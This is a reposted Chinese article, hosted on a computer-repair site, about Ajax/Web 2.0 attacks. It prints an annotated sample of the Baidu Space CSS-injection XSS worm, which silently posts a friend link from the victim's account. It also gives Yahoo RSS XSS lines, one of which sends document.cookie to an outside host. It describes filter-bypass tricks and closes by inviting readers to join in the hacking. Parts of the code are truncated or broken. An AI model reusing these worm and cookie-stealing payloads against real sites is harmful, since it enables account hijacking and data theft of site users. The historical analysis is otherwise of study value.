长沙电脑维修-长沙电脑上门维修-笔记本维修-上门修显示器
滚动新闻:
  网站首页     维修业界     网络安全     硬件故障     软件故障     系统故障     硬件维修     系统安装     驱动下载     维修信息  
欢迎来到长沙电脑维修网,一个电话上门维修电脑 13347311093 0731-82917806 您的满意是我们进步的动力! 请您留言|设为首页|加入收藏
长沙电脑上门维修
您当前位置:网站首页 >> 硬件故障 >> 显卡故障 >> 正文阅读

Web2.0网站攻击新潮—Ajax Hacking


来源:互联网 发布时间:2009-05-01 00:20:36 查看次数:

长沙监控安装 由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(Cascading Stylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(Cross Site Scripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:

  1. #header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的样式标签中插入javascript代码  
  2. var req = null;  
  3. if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。  
  4. else if(window.ActiveXObject){  
  5. var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');  
  6. for(var i=0;i   
  7. try{req.overrideMimeType('text/xml')}catch(e){}  
  8. }  
  9. req.open('get','.',false);  
  10. req.send();  
  11. var s=req.responseText;  
  12. p=s.indexOf('passport.baidu.com/?logout');  
  13. if(p>0)  
  14. {  
  15. p=s.indexOf('');  
  16. if(p>0)  
  17. {  
  18. p=s.indexof('/',p);  
  19. p2=s.indexOf(String.fromCharCode(34),p);  
  20. var user=s.substring(p+1,p2);  
  21. var name='Here is a bad site';  
  22. var link='目标网址';  
  23. var desc='This link was added by an XSS script';  
  24. var url='/'+user+'/commit';  
  25. var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。  
  26. req.open('post',url,false);  
  27. req.send(data);  
  28. alert('A friend link has been added to your space at http://hi.baidu.com/' +user);  
  29. }  
  30. }  
  31. else{alert('You are not a logged Baidu user.');} //- - 由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。  
  32. }");  

当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:

#header { ……

很简单的一句吧,这几乎把该蠕虫提升到了病毒性质,因为用户本身无法到达css修改页面来修复他的css代码。事实上直到写这篇文章时,百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。

如果认为他们所造成的影响都是局域的,那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss(Really Simple Syndication)攻击。这是我从zdnet.com的Joris Evers的一篇名为“Blog feeds may carry security risk ”了解到的,大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤,导致攻击者可以向Rss中写入恶意的javascript代码,最终导致xss跨站,获取用户信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻击范围之内。这是去年yahoo rss xss代码:

  1. javascript: document.location='http://www.target.com/cookie.cgi?' +document cookie;   
  2. Should Steal Your Cookie.  
  3. Tue, 20 Sep 2005 23:55:18 EDT  
  4. javascript: alert(document.cookie);  
  5. Should Steal Your Cookie.  
  6. Tue, 20 Sep 2005 23:55:18 EDT  

事实上,最早的web2.0攻击出现在去年的myspace.上,有人在MySpace交友网站上写了一段JavaScript蠕虫代码,利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单,同时在他们的个人简介最后自动加上了“samy is my hero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对 web2.0的攻击利用亦是多方面的。但并不单单指跨站,网上有一篇《Hacking Ajax》的文章,其中有一句话被加了黑体,“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是说适当情况下,利用Ajax攻击并获得个人电脑管理权限亦是可能的。

由于目前系统对补丁的发布采取的都是时时更新功能,想通过溢出获得shell已经很难了,除非是0day的系统漏洞;而sql注入在网络也肆虐了几年,亦有了行之有效的防范方法;并且由于Python和Ruby语言的兴起,新的web2.0服务正在产生并有取代现有web结构趋势,譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释,只要我们始终有改变javascript的可能性,我们就永远有提升自己权限的可能……

那么对于日趋庞大的web2.0大军,你是否有兴趣从中分一杯羹呢?

·上一条:AJAX应用中使用TODO服务[ASP.NET]
·下一条:Ajax让网页木马“悄悄的执行”
相关文章
·如何给显卡散热,显卡温度过高怎么办 2012-01-12 03:27:27
·什么因素影响笔记本显卡的性能 2012-06-10 01:37:08
·详谈显卡在炎热夏天的降温保养 2010-05-09 00:45:43
·超出频率范围,无法安装显卡驱动 2011-09-07 03:34:12
·什么原因导致显卡瞬间电压不够而死机 2012-05-29 18:08:56
·DELL 电脑D620花屏故障 2010-12-25 02:46:49
·显卡电容爆浆故障导致进系统时花屏 2013-03-15 01:41:33
·显卡与主板接触不良导致电脑无法启动 2010-11-10 23:09:37
文章评论
现在有0人对本文发表评论 查看所有评论
同行交流
电脑维修公司
宇翔电脑维修
  最新文章
·用VGA接口连显示器 电脑经常死机无法进系统
·显卡电容爆浆故障导致进系统时花屏
·用驱动人生更新显卡后显示不正常了
·显卡不装驱动正常使用但是装上驱动就蓝屏重
·台式电脑的显卡有多个显示接口也不能实现三
·电脑停留在开机主板信息界面不动了
·什么因素影响笔记本显卡的性能
·打开软件或文档显示空白 鼠标移过才显示出来
·电脑开启TC功能后总是出现死机现象
·什么原因导致显卡瞬间电压不够而死机
·主板集成显卡和独立显卡冲突的解决方法
·插显卡后开不了机 电脑发出一长两短声
·退出“FEAR”游戏时出现花屏或黑屏现象
·电脑玩游戏花屏但电脑没死机
·显卡连接电视显示黑白画面
苹果双系统安装
  热门文章
·显卡显存容量是越大越好吗
·电脑停留在开机主板信息界面不动了
·电脑集成显卡坏了怎么办?
·如何设置显卡到最佳性能
·用驱动人生更新显卡后显示不正常了
·电脑开机黑屏 检测卡显示代码85
·显卡不装驱动正常使用但是装上驱动就蓝屏重
·Ajax 技术从入门到精髓
·显卡GPU主流应用技术详解
·显示器显示颜色不正常 更改不了分辨率
·主板集成显卡和独立显卡冲突的解决方法
·怎样提高集成显卡的性能问答
·Ajax让网页木马“悄悄的执行”
·Web2.0网站攻击新潮—Ajax Hacking
·显卡与主板接触不良导致电脑无法启动
关于我们 | 公司介绍 | 维修报价 | 免责声明 | 阅读须知 | 内容目录 | 湘ICP备16016646号-1
联系邮箱:270024428@qq.com 联系QQ:270024428
Copyright 2019, 长沙电脑维修网版权所有.